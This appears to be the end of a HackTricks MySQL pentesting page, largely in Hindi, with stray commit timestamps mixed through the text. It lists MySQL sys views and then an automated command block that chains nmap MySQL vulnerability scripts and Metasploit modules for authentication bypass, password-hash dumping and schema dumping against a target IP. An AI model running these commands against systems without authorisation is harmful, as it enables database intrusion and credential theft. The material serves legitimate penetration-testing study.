x$statements\_with\_errors\_or\_warnings\
x$statements\_with\_full\_table\_scans\
x$statements\_with\_runtimes\_in\_95th\_percentile\
x$statements\_with\_sorting\
x$statements\_with\_temp\_tables\
x$user\_summary\
x$user\_summary\_by\_file\_io\
x$user\_summary\_by\_file\_io\_type\
x$user\_summary\_by\_stages\
x$user\_summary\_by\_statement\_latency\
x$user\_summary\_by\_statement\_type\
x$wait\_classes\_global\_by\_avg\_latency\
x$wait\_classes\_global\_by\_latency\
x$waits\_by\_host\_by\_latency\
x$waits\_by\_user\_by\_latency\
x$waits\_global\_by\_latency
2024-02-08 23:20:46 +00:00
{% endtab %}
{% endtabs %}
## HackTricks स्वचालित कमांड
2021-10-18 11:21:18 +00:00
```
2021-08-12 13:10:06 +00:00
Protocol_Name: MySql #Protocol Abbreviation if there is one.
Port_Number: 3306 #Comma separated if there is more than one.
Protocol_Description: MySql #Protocol Abbreviation Spelled out
2021-08-15 17:37:03 +00:00
Entry_1:
2023-11-06 08:38:02 +00:00
Name: Notes
Description: Notes for MySql
Note: |
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).
2021-08-15 17:37:03 +00:00
2023-11-06 08:38:02 +00:00
https://book.hacktricks.xyz/pentesting/pentesting-mysql
2021-08-15 17:37:03 +00:00
Entry_2:
2023-11-06 08:38:02 +00:00
Name: Nmap
Description: Nmap with MySql Scripts
Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306
2021-08-15 17:37:03 +00:00
Entry_3:
2023-11-06 08:38:02 +00:00
Name: MySql
Description: Attempt to connect to mysql server
Command: mysql -h {IP} -u {Username}@localhost
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
Entry_4:
Name: MySql consolesless mfs enumeration
Description: MySql enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' & & msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' & & msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' & & msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' & & msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
2022-10-25 15:56:49 +00:00
2023-11-06 08:38:02 +00:00
```
2022-10-25 15:56:49 +00:00
< figure > < img src = "https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt = "" > < figcaption > < / figcaption > < / figure >
2024-07-19 11:47:32 +00:00
[**RootedCON** ](https://www.rootedcon.com/ ) **स्पेन** में सबसे प्रासंगिक साइबर सुरक्षा कार्यक्रम है और **यूरोप** में सबसे महत्वपूर्ण में से एक है। **तकनीकी ज्ञान को बढ़ावा देने के मिशन** के साथ, यह कांग्रेस हर अनुशासन में प्रौद्योगिकी और साइबर सुरक्षा पेशेवरों के लिए एक उष्णकटिबंधीय बैठक स्थल है।
2022-10-25 15:56:49 +00:00
{% embed url="https://www.rootedcon.com/" %}
2024-07-19 11:47:32 +00:00
{% hint style="success" %}
AWS Hacking सीखें और अभ्यास करें:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
GCP Hacking सीखें और अभ्यास करें: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
2024-07-19 11:47:32 +00:00
< details >
2024-02-08 23:20:46 +00:00
2024-07-19 11:47:32 +00:00
< summary > HackTricks का समर्थन करें< / summary >
2022-04-28 16:01:33 +00:00
2024-07-19 11:47:32 +00:00
* [**सदस्यता योजनाएँ** ](https://github.com/sponsors/carlospolop ) देखें!
* **हमारे** 💬 [**Discord समूह** ](https://discord.gg/hRep4RUj7f ) या [**telegram समूह** ](https://t.me/peass ) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )** पर फॉलो करें।**
* **HackTricks** और [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repos में PRs जमा करके हैकिंग ट्रिक्स साझा करें।
2022-04-28 16:01:33 +00:00
< / details >
2024-07-19 11:47:32 +00:00
{% endhint %}